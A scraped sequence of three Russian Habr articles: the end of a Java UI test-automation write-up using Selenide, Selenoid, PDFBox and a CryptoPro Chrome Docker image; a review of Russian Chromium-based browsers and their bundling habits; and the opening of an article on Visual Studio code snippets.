```
/**
* Метод сохранения скриншота
*/
public static void saveScreenShot(BufferedImage image, String path) throws IOException {
File file = new File(path);
file.getParentFile().mkdirs();
ImageIO.write(image, "png", new File(path));
}
```
И основной метод по сравнению снимков:
```
/**
* Метод сравнения 2-х скриншотов
*/
public static void checkImageDiff(Screenshot etalon_scr, Screenshot test_scr, String typeScreen) throws IOException {
ImageDiff diff = new ImageDiffer().makeDiff(etalon_scr, test_scr).withDiffSizeTrigger(0);
if (diff.hasDiff())
saveScreenShot(diff.getMarkedImage(), pathToDiffScreen + "diff_image_" + typeScreen + ".png");
Assert.assertFalse(diff.hasDiff(), "Screenshot has difference");
}
```
Далее в тесте вызываем методы по получению, сохранению скриншотов и потом выполняем их сравнение:
```
BufferedImage test_scr_bottom= ScreenShotUtils.takeScreenOfElement(contentSelector);
ScreenShotUtils.saveTestScreen(test_scr_bottom,"test_image_bottom.png");
Screenshot expected_bottom = new Screenshot(test_scr_bottom);
Screenshot actual_bottom = ScreenShotUtils.getEtalonScreen("etalon_image_bottom.png");
ScreenShotUtils.checkImageDiff(actual_bottom,expected_bottom,"bottom");
```
Если скриншоты совпадают, то тест выполняется успешно и папка screenshot\_tests/diff\_screens остается пустая, иначе срабатывает проверка:
```
if (diff.hasDiff())
saveScreenShot(diff.getMarkedImage(), pathToDiffScreen + "diff_image_" + typeScreen + ".png");
Assert.assertFalse(diff.hasDiff(), "Screenshot has difference");
```
и тест падает. Создаётся изображение diff\_image\_bottom.png с разницей, которая подсвечивается:
По нему сразу становится понятно, в чем проблема.
#### Проверка содержимого файла
При прохождении исходящего документа по процессу, где выполняется согласование и подписание, на определённом этапе формируется “Лист согласования” в формате \*.pdf. Он содержит основные данные по документу (номер, краткое содержание, тип документа и тд), а также список всех согласующих. Выглядит он так:
Стояла задача проверить корректное заполнение данного листа. Глобально ее можно декомпозировать на блоки:
1. Скачать лист согласования,
2. Выполнить его синтаксический разбор,
3. Сделать проверку содержимого.
Загрузка листа согласования осуществляется нажатием на одну кнопку. Но есть небольшая проблема при получении этого файла из Selenoid: файл доступен во время запущенной текущей сессии браузера по специальной ссылке :4444/download//. При этом имя файла — рандомное, в виде id. Мы не могли знать его заранее.
Поэтому сразу пришлось по ссылке :4444/download// получать имя вложения, а потом уже формировать полную ссылку с именем и класть вложение на машину, откуда запускаются тесты. Метод этот выглядит так:
```
/**
* Получить Pdf файл от Selenoid
*/
public static File getPdfFile(SessionId id) throws IOException {
if (MavenParametrs.getName().contains("_selenoid")) {
String pathName = DOWNLOAD_FILE_PATH + DOWNLOAD_FILE_NAME;
File file = new File(pathName);
file.getParentFile().mkdirs();
String download_url = MavenParametrs.getRemoteURL().split("wd")[0] + "download/";
InputStream inputStream1 = new URL(download_url + id).openStream();
String text = IOUtils.toString(inputStream1, StandardCharsets.UTF_8.name());
String fileName = StringUtils.substringBetween(text, "\"", "\"");
InputStream inputStream2 = new URL(download_url + id + "/" + fileName).openStream();
Files.copy(inputStream2, Paths.get(pathName), StandardCopyOption.REPLACE_EXISTING);
}
File dir = new File(DOWNLOAD_FILE_PATH);
File[] files = dir.listFiles((d, name) - > name.endsWith(".pdf"));
return files[0];
}
```
Для преобразования pdf в текст и выполнения его разбора использовалась библиотека Apache PDFBox. Метод по преобразованию можно увидеть ниже:
```
public static String PDFReader(String fileName){
String resultStr="";
try (PDDocument document = PDDocument.load(new File(fileName))) {
document.getClass();
if (!document.isEncrypted()) {
PDFTextStripperByArea stripper = new PDFTextStripperByArea();
stripper.setSortByPosition(true);
PDFTextStripper tStripper = new PDFTextStripper();
String pdfFileInText = tStripper.getText(document);
String lines[] = pdfFileInText.split("\\r?\\n");
for (String line : lines) {
resultStr+=line+System.lineSeparator();
}
}
} catch (IOException e) {
e.printStackTrace();
}
return resultStr;
}
```
После того, как Лист согласования преобразован в текст, можно выполнять необходимые проверки в тесте:
```
//Исполнитель-Визирующий
Assert.assertTrue(pdf.contains(executorApprover));
//Визирующий
Assert.assertTrue(pdf.contains(approver));
```
#### Работа с пользователями
Так как система предполагает работу по задачам большим количеством пользователей, то необходимо было организовать их правильное хранение для быстрого, гибкого и легкого доступа. Не хотелось иметь проблем при добавлении нового или удалении старого пользователя. Поэтому возникла идея хранить логин, пароль, ФИО и роль пользователя в csv файле. Также создать отдельный класс User, который будет иметь все необходимые поля по сущности и методы быстрого поиска пользователя по ФИО или роли.
Пример файла:
```
test\ivanov,1,Иванов Иван Иванович,Регистратор
test\petrov,1,Петров Александр Сергеевич,ПодписантАдресат
test\sidorov,1,Сидоров Иван Петрович,Подписант
test\ponomareva,1,Пономарева Светлана Викторовна,Адресат
test\guseva,1,Гусева Елена Вячеславовна,Корректор
test\pavlova,1,Павлова Екатерина Ивановна,ИсполнительВизирующий
```
Весь код класса User приводить не буду. А вот метод для поиска пользователя по должности, который используется в тестах, выглядит так:
```
public static User findByRole(String Role)
{
List users = FileReaderUtil.getUsers();
User findUser = null;
for (User user:users){
if(user.getRoleName().equals(Role)) {
findUser = user;
break;
}
}
return findUser;
}
```
Здесь выполняется формирование списка пользователей из файла, а потом поиск по заданной роли в системе. В тесте необходимый пользователь ищется по роли так:
```
User Executor = User.findByRole("Исполнитель");
```
Чтобы появился новый пользователь, необходимо его добавить в csv файл и тест. Для удаления — аналогично в обратном порядке. Больше ничего менять не нужно.
#### Запуск автотестов на CI/CD
В качестве сервера непрерывной интеграции у нас используется TeamCity.
Код проекта и код автотестов хранится в Gitlab. Для разработки используются следующие ветки:
1. master — основная ветка.
2. release — релизная ветка. Здесь хранится код по текущему релизу приложения. В момент релиза вливается в master.
3. feature — ветка с новым функционалом. Здесь хранится код по каждой отдельной функциональности. Потом вливается в release, далее в master. Может вливаться в мастер напрямую — “дальний релиз”.
Каждая новая версия приложения помечается тегом.
Тесты живут в том же репозитории, что и код приложения. Они также версионируются. Есть версия под релизную ветку, есть под ветку master.
На TeamCity есть два джоба для каждой версии:
Они запускаются автоматически каждую ночь, при условии, что было успешное обновление тестовых стендов из необходимой ветки. Запускаются на удаленном сервере в Selenoid — за ними даже можно отдельно наблюдать через Selenoid UI или записать видео:
Для того, чтобы тесты запускались в определенной версии браузера, нужно создать кастомный драйвер с корректными параметрами подключения к Selenoid. У нас для собственного образа хрома он выглядит так:
```
public class CustomChromeDriverSelenoid implements WebDriverProvider {
@Override
public WebDriver createDriver(DesiredCapabilities capabilities) {
RemoteWebDriver driver = null;
InitSelenoidDriver selenoidDriver = new InitSelenoidDriver(BrowserType.CHROME,
true, false, MavenParametrs.getVersionSelenoidBrowser());
ChromeOptions options = new ChromeOptions();
options.addExtensions(new File("libs/cades_plugin.crx"));
options.setCapability("browserName", selenoidDriver.getBrowserName());
options.setCapability("enableVNC", selenoidDriver.getEnableVNC());
options.setCapability("enableVideo", selenoidDriver.getEnableVideo());
options.setCapability("version", selenoidDriver.getBrowserVersion());
try {
driver = new RemoteWebDriver(
URI.create(MavenParametrs.getRemoteURL()).toURL(),
options
);
} catch (MalformedURLException e) {
e.printStackTrace();
}
return driver;
}
}
```
Так как нужно было подписывать документы с помощью ЭП, пришлось создавать собственный докер-образ, чтобы там был КриптоПро, тестовые сертификаты и Cades plugin. Но про это чуть дальше.
Описывать настройку джобов по запуску тестов не буду. Но тут важно сказать, что для формирования отчетов прямо в TeamCity мы используем отдельный плагин [allure-teamcity](https://github.com/allure-framework/allure-teamcity). Он выполняет генерацию Allure отчета с сохранением истории выполнении тестов, что очень важно. Есть возможность отчет вынести на отдельную вкладку:
А можно смотреть прямо из артефактов, которые генерирует allure-teamcity plugin:
Также можно стандартными средствами TeamCity посмотреть на скоуп всех тестов. Какие выполнялись успешно, а какие провалились:
Если тест упал, выводится подробный стектрейс.
#### Создание докер-образа Chrome для подписания документов ЭП в Selenoid
Так как документы подписываются ЭП, для того, чтобы всё корректно работало, необходимо установить дополнительное ПО. А именно:
1. CryptoPro CSP 5.0
2. Cades plugin
3. Тестовые сертификаты
Это всё без особых проблем устанавливается локально, а вот для Selenoid пришлось создавать собственный image с предустановленным и настроенным ПО.
Чтобы сделать image, для удобства нужно создать Dockerfile, на основе которого он и будет собираться. Пример:
```
# Готовый образ Chrome 81 версии
FROM selenoid/vnc:chrome_81.0
# Установка пользователя root
USER root
# Юзер под которым запускается контейнер
ARG USER_NAME=selenium
ADD dist/ /tmp/dist/
ADD cert/ /tmp/cert/
# Распаковать КриптоПро CSP 5
RUN tar -zxvf /tmp/dist/linux-amd64_deb.tgz -C /tmp/dist/
# Установка КриптоПро CSP 5
RUN /tmp/dist/linux-amd64_deb/install.sh
RUN dpkg -i /tmp/dist/linux-amd64_deb/cprocsp-rdr-gui-gtk-64_*
# Распаковать cades plugin
RUN tar -zxvf /tmp/dist/cades_linux_amd64.tar.gz -C /tmp/dist/
# Установить cades plugin
RUN dpkg -i /tmp/dist/cades_linux_amd64/cprocsp-pki-cades-64_2.0.14071-1_amd64.deb
RUN dpkg -i /tmp/dist/cades_linux_amd64/cprocsp-pki-plugin-64_2.0.14071-1_amd64.deb
# Проверка лицензии
RUN /opt/cprocsp/sbin/amd64/cpconfig -license -view
# переключаемся на "обычного" юзера перед установкой сертификатов
USER $USER_NAME
# установка корневого сертификата
RUN echo o | /opt/cprocsp/bin/amd64/certmgr -inst -file /tmp/cert/cert_test.cer -store uRoot
# установка личного сертификата. -pin это пароль от закрытого ключа
RUN /opt/cprocsp/bin/amd64/certmgr -inst -pfx -file /tmp/cert/test.pfx -pin -silent
# команда, для того чтобы убрать всплывающее окно - "лицензия истекает меньше чем через 2 месяца".
RUN /opt/cprocsp/sbin/amd64/cpconfig -ini '\local\KeyDevices' -add long LicErrorLevel 4
# переключаемся на суперюзера
USER root
# убираем alert "переход на новый алгоритм в 2019 году"
RUN sed -i 's/\[Parameters\]/[Parameters]\nwarning\_time\_gen\_2001=ll:131907744000000000\nwarning\_time\_sign\_2001=ll:131907744000000000/g' /etc/opt/cprocsp/config64.ini
# Добавляем адрес тестируемого приложения в доверенные.
RUN /opt/cprocsp/sbin/amd64/cpconfig -ini "\config\cades\trustedsites" -add multistring "TrustedSites" "http:///sedd"
# переключаемся на "обычного" юзера
USER $USER\_NAME
```
В Dockerfile используются дистрибутивы и сертификаты.
Необходимо создать две папки: distr и cert, — которые будут лежать вместе с Dockerfile.
Структура должна выглядеть так:
cert\_test.cer — корневой тестовый сертификат.
test.pfx — личный тестовый сертификат.
linux-amd64\_deb.tgz — дистрибутив CryptoPro CSP
cades\_linux\_amd64.tar.gz — дистрибутив Cades plugin
Для сборки образа надо зайти в Root folder и выполнить команду:
```
docker build -t chrome_csp_81:vnc_chrome_csp .
```
После успешной сборки будет сообщение:
```
Successfully built d9d26ccae897
Successfully tagged chrome_csp_81:vnc_chrome_csp
```
Далее, необходимо созданный образ добавить в Selenoid. Для этого правим файл .aerokube/selenoid/browsers.json:
```
"chrome": {
"versions": {
"81.0": {
"image": "chrome_csp_81:vnc_chrome_csp",
"port": "4444",
"path": "/"
}
}
}
```
То есть устанавливаем созданный image в качестве одного из браузеров. Выполняем перезапуск Selenoid, чтобы новый образ подтянулся на сервер. Если всё успешно, то добавленный образ отобразиться в Selenoid UI:
### Итоги, и что будет дальше
Работая над проектом, я открыл для себя много новых технологий, о которых только слышал, но не работал с ними раньше. Сталкивался с вещами, которых не знал, но изучил. Собрал немало грабель по архитектуре или промахов в выборе технологий. Но прежде всего, я вырос как специалист.
Сейчас автотесты дают нам уверенность, что ничего из важного функционала не сломалось, а если и сломалось, то есть время исправить ошибки до релиза. Также мы экономим очень много времени на ручных проверках во время регресса. В планах — увеличение количества функциональных тестов и расширение покрытия. Правда, придется всё же ограничиться неким не очень большим объемом, так как у нас просто нет ресурсов для поддержки тысячи UI-автотестов. Стараемся расставлять приоритеты и выбирать самый важный функционал.
Радует ещё то, что на поддержку уходит совсем немного времени. Сами тесты довольно стабильны, и ложноотрицательные результаты случаются редко. Отчасти это заслуга Selenide, отчасти — команды тест-инженеров, которые поддерживают тесты. Кстати, QA-команда состоит из двух QA-инженеров и одного QA automation.
Важное достижение, на мой взгляд, — в том, что текущее решение очень хорошо себя зарекомендовало. Его можно тиражировать на другие проекты, в первую очередь, под СЭД. Причём не только под системы, которые разрабатываются на основе нашего CMF, но и на базе других вендорских продуктов. И сейчас мы активно работаем над этим. Делаем некоторый функционал более гибкими и универсальными.
Оглядываясь назад, могу сказать, что уже по ходу работы я находил решения, которые мне казались лучше. Но в данном случае не видел целесообразности переделывать уже существующую реализацию, или просто не было времени внедрять что-то новое, если неплохо работало старое. Например, для хранения пропертей существует прекрасная библиотека [Owner](http://owner.aeonbits.org/docs/usage/). На мой взгляд, она позволяет очень изящно и лаконично хранить параметры. Также есть проект [Lombok](https://projectlombok.org/), который добавляет дополнительную функциональность в Java c помощью изменения исходного кода перед компиляцией. Хорошо про него написано [здесь](https://habr.com/ru/post/438870/). У нас в автотестах есть не маленькое количество POJO объектов с большим количеством кода. Lombok бы сильно уменьшил и упростил реализацию таких классов.
А какие библиотеки или решения вы могли бы посоветовать для улучшения автотестов при тираже и наших вводных? Пишите в комментариях. Буду рад услышать примеры из вашего опыта и готов ответить на вопросы. | https://habr.com/ru/post/546430/ | null | ru | null |
# Браузеры от российских ИТ-компаний: попытка непредвзятого обзора
Как заставить человека использовать именно свои сервисы: поиск, карты, почту?.. Все мы знаем, большинство людей никогда не меняют настройки программ по умолчанию — не могут или не хотят заморачиваться и браузер не исключение, поэтому установить свой поиск приоритетным (с ведома пользователя или без него) зачастую означает получить в свои ~~дьявольские~~ сети еще одну ничего не подозревающую душу. А если установить пользователю браузер, который уже правильно сконфигурирован, то… мечта прямо! С появлением открытого проекта Chromium мечты многих поставщиков веб-сервисов стали реальностью, и его сборки стали появляться, как грибы после дождя.
Я никогда не использовал ни одну сборку Хромиум кроме собственно Хрома и новой Оперы, но недавно разобрало любопытство: а что же там можно наделать и стоит ли обращать на это внимание или это просто продолжение славного дела Дениса Попова? Сказано-сделано, я порылся в Сети и выбрал участников для обзора. Рассматривал я только российские сборки и только от крупных поставщиков веб-сервисов, потому что в противном случае, мне не хватило бы на мой обзор и жизни.
Интересно? Тогда начнем.
Под катом много скриншотов, общий объем ~3 мб.
Сегодня в программе:
* [QIP Surf](http://welcome.qip.ru/surf)
* [Рамблер-браузер (он же Нихром)](http://soft.rambler.ru/)
* [Ucoz Uran](http://browsers.ucoz.ru/)
* [Амиго от Mail.ru](http://s1.amigo.mail.ru/)
* [Яндекс.Браузер](https://browser.yandex.ru/desktop)
Все опробованные сборки я устанавливал на чистую Windows 7 Home Basic x86, в VirtualBox, с настройками по умолчанию. Другие платформы я не рассматривал по банальной причине: почти все участники обзора существуют только для десктопа и только под Windows.
### Итак, номер один — браузер Surf от QIP
> QIP Surf — это бесплатное приложение для просмотра веб-сайтов. Удобный и простой браузер сделает вашу работу в интернете надёжной и безопасной.
Ну что же, посмотрим. Скачиваем установочный файл, запускаем, и
Установщик попытался скачать Adobe Flash 11(!), но ничего у него не получилось. Ну, не беда, мы и без flash пока проживем. После нажатия кнопки «отмена» браузер благополучно установился, смотрим дальше. Интерфейс QIP Surf выглядит следующим образом:
Хром, как хром, ничего особенного. Только справа от адресной строки несколько значков предустановленных расширений. Список самих расширений выглядит так:
Нажимаем «Еще расширения», переходим в магазин расширений Google Chrome и там…
Неприятно. Кстати, а какая версия продукта у нас? Смотрим окно «О программе»:
Строка User-agent:
```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.14.1453.94 Safari/537.36
```
Выходит, браузер построен на базе Хромиум от июля 2012 года! Невесело. Согласно [Википедии](https://ru.wikipedia.org/wiki/Браузеры_на_базе_Chromium) он находится в активной разработке, но судя по тому, что я вижу, не обновляется уже третий год — мне кажется, предлагать на главной странице своего проекта фактически неподдерживаемый продукт нечестно по отношению к пользователю. Еще: по User-агенту этот браузер опознать невозможно, вот для примера UA-строка из свежего Хрома:
```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36
```
О других особенностях: браузер в свежеустановленном виде занимает 98 мб, поиск по умолчанию — qip search. К чести разработчиков, никакого «нужного» софта, кроме Flash'а сборка протащить не пыталась, в автозагрузку не полезла и браузером по умолчанию без спроса не стала — редкость в наше тревожное время. Кроме того, мне не попадался софт, который бы пытался установить вместе с собой Surf, включая IM-клиент QIP (возможно я просто плохо искал), как мне кажется, шанс на то, что этот браузер попадет на ПК к среднестатистической домохозяйке минимален, и это хорошо, учитывая движок не первой свежести, уязвимости которого никто закрывать не собирается.
### Следующий на очереди у нас браузер Uran
> Браузер Uran обладает рядом преимуществ, по сравнению с другими браузерами. Установите наш браузер и убедитесь в этом сами!
Все мы знаем платформу для бесплатного создания и хостинга сайтов Ucoz, многие испытывают к ней негативные эмоции, но разговор сейчас не об этом. Если зайти на любой сайт, размещенный на Ucoz и не использующий платный тариф на хостинг, мы увидим в его правом углу рекламу (пользователи AdBlock проходят мимо) и кнопочку, предлагающую эту рекламу отключить. Если на нее нажать, мы увидим следующее окошко:
Установился браузер без проблем, выглядит он так:
Здесь отличий от Хрома еще меньше. Про «браузер без рекламы» правда лишь отчасти — ее нет только на сайтах Ucoz, но ничто не мешает установить AdBlock, благо версия движка позволяет. Кстати, это единственный обозреватель из рассматриваемых сегодня, открыто называющий себя «сборка Chromium» — остальные стыдливо прячут эту информацию в окошко «О программе». Кстати, вот оно:
Строка User-agent:
```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 u01-04
```
Уже лучше, хотя Хромиум тоже «с душком», датируется маем 2014 года. Предустановленные расширения:
Еще расширения можно установить из интернет-магазина Google Chrome. О других особенностях: как и предыдущий рассматриваемый обозреватель, Uran не пытается протащить с собой левый софт, не создает лишних ярлыков, а в автозагрузку помещает только «uCozMedia UranUpdate», но без спроса устанавливает себя браузером по умолчанию — некрасиво, не люблю, когда так делают. Поиск по умолчанию: Яндекс, занимаемый объем после установки: 359 мб.
У этого браузера узкая ниша, он создан для людей, работающих с платформой Ucoz, и наверняка он ими востребован~~, иначе его бы вообще не было~~ его не распространяют вместе с бесплатным софтом, (поправьте, если не так) поэтому на ПК домохозяйки он тоже вряд ли попадет, поэтому оставим его тем, кому он интересен и перейдем по списку дальше.
### Дальше у нас — Рамблер-браузер, он же Нихром
> Удобный браузер для тех, кто хочет всегда быть в курсе происходящего в стране и мире, не пропускать актуальные новости и хранить под рукой любимые сервисы
Название «Нихром» я нигде не обнаружил, хотя раньше я его точно слышал. Возможно, Рамблер отказался от этого имени (хотя в UA оно осталось). Устанавливается без проблем, смотрим внешний вид:
Здесь, в отличие от предыдущих браузеров, хотя бы нарисовали новую тему, схожую с оформлением сайта Rambler.ru. Еще есть «Рекомендации», как в новой Опере, которые, как оказалось, добавляются расширением «Рамблер-монитор» (оно присутствует в магазине Google Chrome, можно установить его в любую другую сборку Chromium). Все предустановленные расширения:
Новые расширения без проблем устанавливаются из магазина Google. Версия браузера:
Строка User-agent:
```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 Nichrome/self/38
```
— версия Chromium от октября 2014, от Google Chrome отстает на три мажорных релиза — пока лучший результат. Как и Uran, не спрашивая пользователя, устанавливает себя браузером по умолчанию, в автозагрузку помещает приложение с покерным названием «Holdem», которое является инструментом автоматического обновления. Лишнего софта (за исключением Adobe Flash 13) и ярлыков не создает. Я каждый раз выделяю этот момент, потому что писал статью под впечатлением от [этого исследования](http://habrahabr.ru/post/247927/), и ожидал, что моя бедная виртуальная машина будет завалена кучей всякого хлама, но первые три рассматриваемые браузера меня приятно удивили. Сразу после установки Нихром занимает 163 мб. Преимущества? Не знаю, три расширения, присутствующие в этой сборке можно установить и в Хром, но раз он существует и развивается, значит он кому-то нужен? Оставим Рамблер-браузер в покое и перейдем к более интересному объекту.
### Четвертый на очереди — знаменитый Амиго от Mail.ru
Здесь я прямо слышу жалобный треск мышек и подлокотников кресел, сжатых руками читающих эту статью эникейщиков, админов и прочих «тыжпрограмистов» — славу этот браузер заработал громче всех остальных вместе взятых! Сколько раз лично я вычищал его с машин друзей и знакомых не поддается счету, сознательно же устанавливаю впервые. Вот что пишут о нем на странице загрузки:
> Браузер со встроенными социальными сетями
Описание довольно скудное, скачиваем (о ужас, я скачиваю «Амиго»!), устанавливаем, (мать вашу, я устанавливаю «Амиго»!!!) и…
Блин, откуда он взялся, в инсталлере не было никаких галочек! Смотрим внимательнее на страницу загрузки, и конечно же:
Вроде считал себя битым-перебитым, а недоглядел! Ну что же, сам виноват, с программами от Mail.ru нужно держать ухо востро. Смотрим внешний вид браузера:
Изменения более заметны, чем у предыдущих рассматриваемых обозревателей, даже кнопку главного меню перерисовали и переместили, снабдив гордой подписью «Амиго». Предустановленных расширений, как ни странно, нет, все дополнительные фичи встроены на более глубоком уровне, как это делают, например, Опера и Вивальди. Когда я нажал на значок с письмом, я думал, что в браузере встроен почтовый клиент и заранее восхитился, но когда я залогинился через аккаунт Яндекс-почты, оказалось, что он всего-навсего перенаправляет на адрес <https://e.mail.ru/>, и зайти на него можно с любого браузера. Как и обещали разработчики, в Амиго встроены клиенты социальных сетей:
Тут описывать нечего, они присутствуют, и все. Может быть кто-то сочтет это удобным, наверное для домохозяек, для которых браузер создавался, это плюс. Так же есть проигрыватель музыки из соц. сетей. Другие особенности: сколько я ни искал, так и не смог найти, как сменить поиск по умолчанию — он там естественно от mail.ru — даже если перейти по ~~православному~~ хромовому url [chrome://settings/searchEngines](http://chrome://settings/searchEngines) выскакивает пустое окошко. При этом, если на сайте google.ru ПКМ щелкнуть по строке поиска и выбрать «Добавить как поисковую систему...» то вроде бы что-то добавляется. Если повторить эту процедуру, система ругается, что такой поиск уже есть, значит где-то информация сохраняется, но где — тайна покрытая мраком. Блокировка смены поисковика это не то что некрасивый, это подлый поступок, стыдно, товарищи разработчики, стыдно! Кроме самого Амиго, на рабочем столе и панели быстрого запуска создаются следующие ярлыки:
При чем ярлыки ВК и Одноклассников тоже подленькие: это не ярлыки url'ов, а ярлыки на Амиго с этими адресами, т.е. даже если в системе по умолчанию стоит другой браузер, эти ярлыки откроются через Амиго. Смотрим автозагрузку:
Совсем хорошо, Амиго еще и туда себя записал, зачем — не совсем понятно, возможно для ускорения запуска или мониторинга соц. сетей, но можно было бы об этом предупредить? Даже в настройках упоминания об этом нет! Когда я садился за эту статью, я старался быть непредвзятым, но такое поведение меня просто убивает! Смотрим версию программы:
Строка User-agent:
```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1709.125 Amigo/32.0.1709.125 MRCHROME SOC Safari/537.36
```
Версия Chromium от января 2014, протухшая на больше чем на год — неужто так давно не обновляли? А в начале обзора я отметил, что над этим браузером проведена самая большая работа. Видимо давно проведена и настолько хорошо, что обновлять и не нужно. В свежеустановленном виде программа занимает 390 мб.
Краткий итог: всю ненависть к себе этот браузер честно заслужил, он распространяется буквально с каждой бесплатной софтиной, которую сейчас можно скачать из Сети, он пихает свои ярлыки туда, где им совершенно не место, почти не бывало случая, когда я осматривал компьютер который «чо-то тормозит», и там не оказалось бы этого товарища. Единственное что хорошо, так это то, что я не обнаружил Guard'a mail.ru (или как он там называется) и «Спутника mail.ru» которые были верными товарищами продуктов от этого разработчика. Не знаю, чем это вызвано, но их нет, и это хорошо.
Долго думал, включать ли в обзор браузер «Интернет» от Mail.ru, беглое гугленье не показало, что он снят с поддержки, и он по-прежнему [доступен для загрузки](http://internet.mail.ru/), но и на странице закачки и в самом «Интернете» стоят копирайты 2013 года, Хромиум внутри него версии 28, поэтому я решил, что он уже никому не нужен, и рассматривать его не стал, уж простите лентяя.
### Ну и напоследок — Яндекс.Браузер
> Удобная и быстрая программа для работы в интернете
Я не буду упоминать о шутливом названии этого браузера, данном ему из-за его логотипа, потому что уже один раз это стоило мне сами-знаете-чего, когда начал спорить о нем в комментариях к какому-то топику. Причем мой оппонент потерял еще больше, поэтому нет, вы увидите здесь только официальное название. Скачиваем, устанавливаем, смотрим внешний вид:
Сразу видно, что над внешним видом много поработали, на исходный Хромиум совершенно не похоже. Смотрим версию программы:
Стока User-agent:
```
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 YaBrowser/15.2.2214.3645 Safari/537.36
```
Скажу по секрету, кода я начинал писать обзор, версия была Chrome/38.0.2125.122 YaBrowser/14.12.2125.10034, и буквально перед публикацией браузер обновился — молодцы разработчики, идут почти в ногу с Оперой, отстают от Google Chrome всего на одну версию, при чем сам Хром обновился до нее только на прошлой неделе. Смотрим установленные расширения:
Ничего себе! Хорошо, что все они отключены, иначе я бы громко ругался. Но раз отключены, ладно, пусть будут. Причем, если перейти по стандартному хромовскому пути [chrome://extensions/](http://chrome://extensions/), мы увидим только одно расширение:
Туда же будут попадать все новые расширения, установленные из магазина. В основном окне, представленном на скриншоте выше, они тоже появляются в группе «Из других источников». Для меня стало настоящим сюрпризом то, что магазином расширений здесь служит каталог не Хрома, а Оперы — неожиданное для меня решение. Но если перейти по адресу <https://chrome.google.com/webstore/category/extensions?hl=ru>, то мы попадем в каталог расширений Хрома и оттуда они устанавливаются без проблем (для справки, в новой Опере необходимо установить расширение «Download Chrome Extension», чтобы повторить этот трюк). Далее смотрим, что Я.Б притащил с собой в систему: оказалось, только ярлык на yandex.ru. Вернее, ярлык на некий экзешник, который открывает yandex.ru при помощи Яндекс.Браузера, даже если он не установлен, как браузер по умолчанию — странное решение, и не менее подленькое, чем у ребят из Mail.ru. В автозагрузке — ничего, в «Программы и компоненты» — только сам браузер, никаких «элементов» и «менеджеров браузеров» — за это спасибо, не ожидал. Другие особенности: свежеустановленное приложение занимает 397 мб. Имеется режим «турбо», как в Опере, ~~причем как я понял, он и работает через сервера Оперы (поправьте, если ошибся)~~ поправил сам Вадим Макеев, там используются сервера Яндекса, но технология лицензирована у Оперы. Имеется своя реализация Экспресс-панели под названием «Табло», которое выскакивает и при клике по адресной строке:
Лично мне все же больше нравится, когда там находятся скриншоты страниц, но это дело на любителя, не мне судить чужие вкусы. Плюс еще поработали над самой адресной строкой, добавили функции копирования и шаринга url'ов. Адрес там по умолчанию отображается в формате «Домен Заголовок» (например на странице <http://soft.yandex.ru/?from=prov_all> будет «soft.yandex.ru Яндекс.Программы»). Мне такой подход противен, я всегда предпочитаю видеть, где нахожусь, но для домохозяек возможно так лучше, судить не берусь, главное, что нормальный url можно включить, порывшись в настройках. Еще у «умной строки» есть такая особенность: можно написать в ней «Хабрахабр» и она переправит нас прямо на habrahabr.ru — то есть аналог гугловского «Мне повезет» (которым сейчас без отключения «живого поиска» и не воспользоваться вовсе, хе-хе), есть еще маленькие плюшки, вроде быстрых ссылок и т.д — в общем с омнибоксом проведена огромная работа, нужно отдать должное. Развеселил один момент: когда я скачал Яндекс.Браузер через Яндекс.Браузер, то увидел:
Наверняка так помечаются все скачанные исполняемые файлы, но согласитесь, выглядит забавно.
Краткий итог: Яндекс.Браузер, как Амиго норовит пробраться в систему к невнимательному пользователю в довесок к огромному количеству бесплатных программ — и это плохо. Но, если временно закрыть глаза на агрессивное его «втюхивание» и просто посмотреть на него, то можно увидеть, что над браузером проведена серьезная работа, не ограничившаяся заменой ярлычка и предустановкой пары расширений, его можно признать самостоятельным браузером, хоть и базирующемся на чужом движке.
### Вместо заключения
Каждый из рассмотренных браузеров я устанавливал впервые. Некоторые из них я раньше видел, но никогда не пытался воспользоваться, поэтому все что здесь написано — первое впечатление. Я не касался такого важного понятий, как скорость работы и качество отображения страниц — они у всех на приличном уровне, но благодарить за это нужно «папашу» Chromium. Если я упустил какой-либо важный момент или отозвался о ком-то несправедливо, жду комментариев с уточнениями, умышленно что-то утаивать или кого-то оскорблять я не собирался.
Ну а кто же круче я предлагаю выбрать Сообществу: опрос прилагается. | https://habr.com/ru/post/252219/ | null | ru | null |
# Что такое Visual Studio.NET snippets? Часть первая.
> `Я решил разбить статью на две части: вступительную часть и часть реализации. Основная причина в размере текста, который включает форматированный текст примеров. С меньшими объемами текста работать легче, да и читать такой текст удобнее. Кто знаком со сниппетами может сразу переходить ко второй части статьи, где рассказывается как сделать свой сниппет и использовать его в студии.`
Что такое snippet’ы в Visual Studio.NET? Как показал опрос, более трети голосовавших не знают что это. Вполне возможно, впрочем, что они никогда не работали в этой среде и никогда не будут этого делать. Эта статья для тех двадцати процентов, кто заинтересовался и для всех остальных, кто хочет узнать, что такое snippet, как его создать и использовать.
На самом деле все просто: snippet – это механизм, позволяющий быстро добавить в код какой-то шаблонный текст, например определение свойства, выделение региона, определение класса. Но в отличие от примитивного шортката, который бы просто втыкал текстовую заготовку snippet позволяет определять код удобнее. Snippet имеет возможность определить однотипные поля в тексте, которые заполнятся указанным значением по завершении вставки snippet’а (далее «сниппета»). Приведу пример:
> [global::System.Serializable] public class MyException: Exception
>
> { public MyException() { } public MyException(string message): base(message) { } public MyException(string message, Exception inner): base(message, inner) { } protected MyException( System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context) : base(info, context) { } }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
